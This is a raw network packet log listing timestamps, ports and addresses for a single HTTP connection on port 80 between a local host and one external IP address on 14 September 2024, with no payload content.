Sep 14, 2024 18:44:13.023264885 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.023292065 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.023320913 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.024106026 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.024117947 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.024164915 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.027157068 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.027169943 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.027180910 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.027193069 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.027204990 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.027239084 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.027268887 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.027331114 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.027362108 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.027400017 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.027415037 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.027446032 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.027470112 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.027476072 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.027506113 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.027534962 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.027549028 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.027565002 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.027585030 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.027594090 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.027647972 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.027686119 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.027730942 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.027759075 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.027777910 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.027790070 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.027833939 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.027841091 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.027863979 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.027893066 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.027916908 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.027921915 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.027960062 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.027976036 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.028007030 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.028037071 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.028060913 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.028065920 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.028096914 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.028131962 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.028142929 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.028172016 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.028194904 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.028204918 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.028237104 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.028254032 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.028269053 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.028297901 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.028330088 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.028358936 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.028363943 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.028381109 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.028388977 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.028424025 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.028455973 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.028476000 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.028505087 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.028527021 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.028533936 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.028593063 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.028603077 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.028624058 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.028655052 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.028677940 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.028686047 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.028713942 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.028743029 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.028743982 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.028789997 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.028795004 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.028834105 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.028863907 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.028887033 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.028897047 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.028925896 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.028950930 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.028955936 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.028981924 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.029010057 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.029012918 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.029037952 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.029052019 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.029083014 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.029094934 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.029112101 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.029130936 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.029140949 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.029164076 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.029171944 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.029202938 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.029231071 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.029233932 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.029280901 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.029285908 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.029311895 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.029341936 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.029367924 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.029371977 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.029403925 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.029429913 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.029433012 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.029464006 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.029489040 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.029494047 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.029524088 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.029547930 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.029553890 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.029584885 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.029608011 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.029614925 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.029644012 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.029670954 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.029674053 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.029704094 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.029731035 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.029732943 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.029762983 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.029786110 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.029791117 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.029836893 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.029846907 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.029865980 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.029896975 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.029923916 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.029931068 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.029970884 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.029978037 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.029999971 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.030029058 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.030047894 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.030057907 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.030087948 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.030113935 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.030133009 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.030162096 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.030189037 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.030191898 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.030222893 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.030252934 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.030253887 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.030284882 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.030313969 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.030325890 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.030343056 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.030361891 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.030373096 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.030401945 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.030427933 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.030431032 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.030477047 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.030483007 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.030507088 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.030535936 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.030558109 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.030565977 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.030596972 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.030616045 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.031344891 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.031375885 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.031423092 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.031440973 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.031471014 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.031474113 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.031502008 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.031532049 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.031560898 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.031589031 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.031589985 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.031620026 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.031624079 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.031650066 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.031675100 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.031678915 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.031708002 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.031728983 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.031737089 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.031765938 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.031790972 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.031795025 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.031827927 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.031852007 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.031857014 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.031887054 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.031913042 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.031913996 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.031943083 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.031969070 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.032545090 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.032576084 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.032604933 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.032618999 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.032635927 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.032655001 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.032664061 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.032711029 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.032717943 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.032738924 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.032769918 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.032789946 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.032798052 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.032829046 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.032846928 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.032857895 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.032887936 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.032907963 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.032917976 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.032948017 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.032967091 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.032978058 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.033006907 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.033026934 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.033035994 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.033065081 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.033093929 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.033123016 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.033138990 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.033158064 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.033437967 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.033513069 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.033629894 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.033659935 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.033684969 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.033714056 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.033755064 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.033782005 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.033819914 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.033848047 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.033875942 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.033905029 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.033915997 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.033934116 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.033956051 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.033963919 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.034008980 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.034015894 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.034039021 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.034066916 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.034089088 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.034096003 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.034125090 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.034173012 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.034178972 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.034202099 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.034231901 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.034240007 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.034271002 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.034296036 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.034300089 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.034328938 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.034358025 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.034363985 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.034387112 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.034410954 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.034434080 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.034462929 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.034487009 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.034491062 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.034522057 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.034543991 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.034552097 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.034581900 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.034603119 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.034610987 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.034641027 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.034661055 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.034670115 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.034699917 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.034720898 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.034729958 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.034759998 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.034781933 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.034787893 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.034817934 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.034841061 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.034847021 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.034878016 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.034903049 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.034908056 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.034936905 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.034951925 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.034969091 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.034997940 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.035018921 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.035027027 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.035058022 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.035079956 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.035087109 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.035115957 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.035140991 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.035145044 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.035175085 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.035204887 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.035204887 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.035235882 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.035259008 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.035265923 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.035294056 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.035322905 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.035314083 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.035352945 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.035372019 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.035382032 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.035428047 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.035449028 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.035456896 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.035486937 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.035515070 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.035518885 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.035567045 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.036022902 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.036052942 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.036081076 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.036109924 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.036109924 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.036140919 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.036164045 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.036170006 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.036196947 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.036230087 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.036259890 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.036271095 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.036289930 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.036289930 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.036319971 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.036349058 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:13.036360025 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:13.036377907 CEST	80	49722	188.114.97.3	192.168.2.6
